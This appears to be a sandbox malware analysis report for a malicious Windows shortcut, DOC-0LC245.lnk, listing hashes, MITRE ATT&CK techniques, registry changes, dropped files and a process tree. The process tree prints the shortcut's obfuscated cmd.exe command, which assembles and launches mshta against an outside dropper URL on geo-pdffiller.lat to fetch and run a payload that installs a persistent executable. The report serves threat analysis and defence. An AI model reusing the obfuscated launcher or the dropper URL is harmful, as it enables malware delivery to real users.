22f07c6ea64dd640ff062126ae40199ec225c59077eebc06b053b81361f1937a

Analysis

max time kernel
299s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/06/2026, 17:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-0LC245.lnk
Size 2KB
Sample260623-v5xpaaey7s
SHA256 22f07c6ea64dd640ff062126ae40199ec225c59077eebc06b053b81361f1937a
MD5 d17fcb74183699470440dd7ff53ca5e6
SHA1 239e9a9ed90245caa977e15f34c9e220554034f1
SHA512 eb3c0d8cc83c6c9a84a8aa0db8c8eb8bcfe1ca521a6c8b17c5b4f75713859a1d90090abc09c948a10a48e9148d4b3ea2f722d24ec2a7247105fc62920a3d037b
TLSH
T1465134803AE911D8F3FB9E32ECFA6B91497BB8615DB0C58D0C50804C1822B41D9B7B33
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware discovery persistence ransomware spyware

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://geo-pdffiller.lat/h/estagio1.php?r=331061

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1972	mshta.exe
3	1972	mshta.exe
4	1972	mshta.exe
5	1972	mshta.exe
6	1972	mshta.exe

Executes dropped EXE 2 IoCs

pid	Process
2420	gdnqyxnc.exe
4660	gdnqyxnc.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Windows\CurrentVersion\Run\gdnqyxnc = "\"C:\\Users\\Admin\\AppData\\Roaming\\HWiN\\gdnqyxnc.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\HWiN\\gdnqyxnc\""	gdnqyxnc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Windows\CurrentVersion\Run\gdnqyxnc = "\"C:\\Users\\Admin\\AppData\\Roaming\\HWiN\\gdnqyxnc.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\HWiN\\gdnqyxnc\""	gdnqyxnc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdnqyxnc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdnqyxnc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1636	cmd.exe
4116	PING.EXE

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4116	PING.EXE

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
4540	rundll32.exe
1876	rundll32.exe
4136	rundll32.exe
3076	rundll32.exe
4808	rundll32.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1316 wrote to memory of 2680	1316	cmd.exe	89
PID 2680 wrote to memory of 1972	2680	cmd.exe	90
PID 1972 wrote to memory of 1876	1972	mshta.exe	92
PID 1972 wrote to memory of 4540	1972	mshta.exe	93
PID 1972 wrote to memory of 4136	1972	mshta.exe	94
PID 1972 wrote to memory of 3076	1972	mshta.exe	95
PID 4540 wrote to memory of 2104	4540	rundll32.exe	96
PID 3076 wrote to memory of 5444	3076	rundll32.exe	97
PID 1876 wrote to memory of 2600	1876	rundll32.exe	98
PID 4136 wrote to memory of 5524	4136	rundll32.exe	99
PID 1972 wrote to memory of 2420	1972	mshta.exe	100
PID 1972 wrote to memory of 4808	1972	mshta.exe	101
PID 4808 wrote to memory of 3260	4808	rundll32.exe	102
PID 1972 wrote to memory of 1636	1972	mshta.exe	104
PID 1636 wrote to memory of 4116	1636	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0LC245.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1316
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set IcFx=netihgmxndusoifuqnjqpnet&&set zYvho=sysuhdjsdipsys&&set MEf=winnepvqraeybcosipgswin&&set rggRi=bakpnapiwlcbxlkbak&&set nlTF=datqigojxcwuyitshhdat&&set vaMn=cfghupmtkcfg&&set Ts=tmf&&set GEv=5z0shr&&set wQ=ztasdy&&set Mb=tmplewalseiajmtmp&&set HT=oldzmeegfikgtrbnaotetcsold&&set IiTuw=winjzmmegwin&&set kkkvg=k7sdf&&set OL=t9tartbz&&set xrQx=bakmxjnsrzsrhfhvpaherchrmabak&&set cQLIW=dbgyhnwfykfttdbg&&set Tbg=sysypnbjukvfrkbptjyatsys&&set Ev=htt@p@s://ge@o@-pd@ff@ill@e@r@.@la@t@/@h@/@e@s@ta@gi@o1.@php@?r=@3@31061&&start /b !Ts:~1,1!!GEv:~3,2!!wQ:~1,2! !Ev:@=!&&set yY=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\System32\mshta.exe
    mshta https://geo-pdffiller.lat/h/estagio1.php?r=331061
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1972
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1876
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:2600
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4540
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:2104
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4136
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:5524
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3076
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:5444
  - - C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe
      "C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe" "C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2420
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4808
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:3260
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Suspicious use of WriteProcessMemory
      PID:1636
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4116

C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe
"C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe" "C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc"
1⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:4660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 1KB
SHA256 71ccd39de69ec147afd8ad4337a36829dcababbf40897250380c7770de551242
MD5 2595e903fcb3b99996adb2cc2bf504c8
SHA1 89954e0577e83e0008d58a2dc6cd0aaad2972a62
SHA512 71a76aa25ce3ea545922ad9cee54cd3fff4c971ee4e5ddf6aa4832743db48da795ae8e76883cf5e5acab6818e8aba44515c72848579c476c54bda2e43e0cac35
TLSH
T1CA31CE4EA2113027D686BF72D8CEBE93CDB033476BCAD05B18455E8229AAFD11FC81C5
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
Size 528B
SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
MD5 047f3e9d21d6b325d592b1959e4362e6
SHA1 5aeef5f985171cd69da397fd039854e44ebecdd2
SHA512 4523896ed4a03afafd2075d8c8947236d34fe1da2c246a3f90c2be2a5c151c18bc58a6cde5a209abb8e06e80f662e24d0149640b3e98e8a872bfa8a04ef592a4
TLSH
T147F0500990082252C855FF55DFD6AC97DC76336136E595036D458E410C12F96AF950F5
MD5 SHA1 SHA512 TLSH

Submit Download

F15827BEC5BABE89C21DCDAE77464BF1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F15827BEC5BABE89C21DCDAE77464BF1
Size 701B
SHA256 108dd34232a3088b45534933d0486409616a2bbad94fd8f7ab5991c01ff179b6
MD5 2b24bfcd271b4f2bd1bb9c58db53c20d
SHA1 12a18dbf2f27f02650e15c0d75e1bb7c50cf3d4b
SHA512 785dd247c3809434ad535b7c954c20c4d5661c00d9bf274fa9ca68595fd5dd98eced3b3e3602593da20bf810edd6b5f3592703176a61e15033267271b8750938
TLSH
T18F019E1983B02F025F801E462200D0628EFCF3DCAC243B89AAD9E8021805BA0A9D81DE
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 9b1af140a627bbbd5c438996a010823243df72d9edb4eef54820a4c4214f7e46
MD5 881e1fd8144c3bdc6248e2a6a53f0f14
SHA1 9a2e20b76977f06f01e8f702e67ca4d35b8a2368
SHA512 c85867457ebc738ed483b26f9036d7ab39693dbfaafed92e4634ae246951f3480252034f06c161f02951f327faacce3f28b757a7ab0c0cc6d04c557711e098a0
TLSH
T17EC08C1C1AA20A06F6A8837C02C139039B208101E3418F051BF17A08D997B162C38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 174B
SHA256 ebc0b2d04bf43135fefb16103ddfff6f439a6d49fc08e81c94f1bd7915bbf439
MD5 e67a69c17f3166c09d5778774ed8bbf1
SHA1 8a9422073933439647e9d3570f645f9104eba14f
SHA512 392fb727a31dac3cf56b71d87d915d2d044e13ece682480e9bedcb3fd736b9d4b9125f531269bed8dfd39074c2a4a214499581eafd4cc3b18fb762ca200e3f57
TLSH
T166C04C1177215725F15009BE199669510FF596428A5283581F71311C541BA8188E0E05
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Size 170B
SHA256 06aec1174303861a9a73e1b284c064e2b4737e12edf31920ac7034c0eeb0530b
MD5 e7e0e2c78abe3d006bb2fb57bb861a34
SHA1 8af6226fa49c35f1278207af1c4302fd2420bb2c
SHA512 f84263d21ec0fb4226bb43635058e564af49be5a2b45583c9337cda0294907fd2d9be4d1fe4ceed4f4d4c6596d38c8b7763ae8f12e4e1756da77e2a953a937dc
TLSH
T132C09214B3A9471AF10E213E79E65A051BBA824AF6CAC3044FB811388929B444CB2D09
MD5 SHA1 SHA512 TLSH

Submit Download

F15827BEC5BABE89C21DCDAE77464BF1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F15827BEC5BABE89C21DCDAE77464BF1
Size 192B
SHA256 2448c684fd65f08373a178b8bcb7579f2413b39e132cc191bdf948c93225cbca
MD5 f261ad51af581646bef082134f414295
SHA1 7ce35ebea94d6dff1b6e102573eb5a10586ceb7c
SHA512 f5742c8aee6884a59e61d158808aac8bf7029d48ca58732f117e326b6247b6902929aa20db3479faeb2c3fd08a64976dc67291058a4a6d43f5a0c60afc8fffea
TLSH
T1D0C08C1C07611616F2A883BD02C22A938A218110F3819F012AB12A08CD25F122834C29
MD5 SHA1 SHA512 TLSH

Submit Download

WebView2Loader.dll

Path C:\Users\Admin\AppData\Roaming\HWiN\WebView2Loader.dll
Size 113KB
SHA256 cd2f07e47e98e52472bd744912edc9e9e645b544f5e612e2f38f89b7acb1e064
MD5 25473edbafc8f33413bcb284d79d30ff
SHA1 f64da5ddb853c4275a3da0cb6036216d93decb25
SHA512 8589ef4175d674a623b9d0b44dbf357417610eecb939fb494bad32f04c25fcf51855545eb25187266ead60d7cd72dd7f212f6019d4055d2e88d746bfbe8b5980
SSDEEP 3072:wnbFYqJx7sXRq2KVs9iiamgqeNZPTn7EtJlAlH5bgf4fmFf:wZYqJx4gkYiabEtJe9K2mV
TLSH
T1B0B35B5176D08072E5BE0A380874DB755B3F79A0DFA09DEB67841AA94F317C08E35E2E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gdnqyxnc

Path C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc
Size 1.9MB
SHA256 dcded125ba477b144c43fd6eac3c75555e0c8249ed6f5aaf29628b99cf08a842
MD5 5fba692050254765419a6c4045a5999d
SHA1 8484d0f48e52afecec0d3ec97561a529196af8d9
SHA512 cb0e805c0cd53817ef90b622a1749ee92a24f5bced16e1807150dd6036c797976afc63b664c1999a13120abc0c4b95a82f45251b794b9a6e4c192fbd5a99494f
SSDEEP 49152:rH3lleFY5Uhz6pd31KpeR9zWtURwM3sRhTzfjVFTHY8L:b3lM956DlKpSwWGMcvfjVFbY8L
TLSH
T1A995332BA8E7BBF44F14CF0BB1B6D905C605E34E0D2696BB5C7096DC49A0BC9184F4DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gdnqyxnc.exe

Path C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads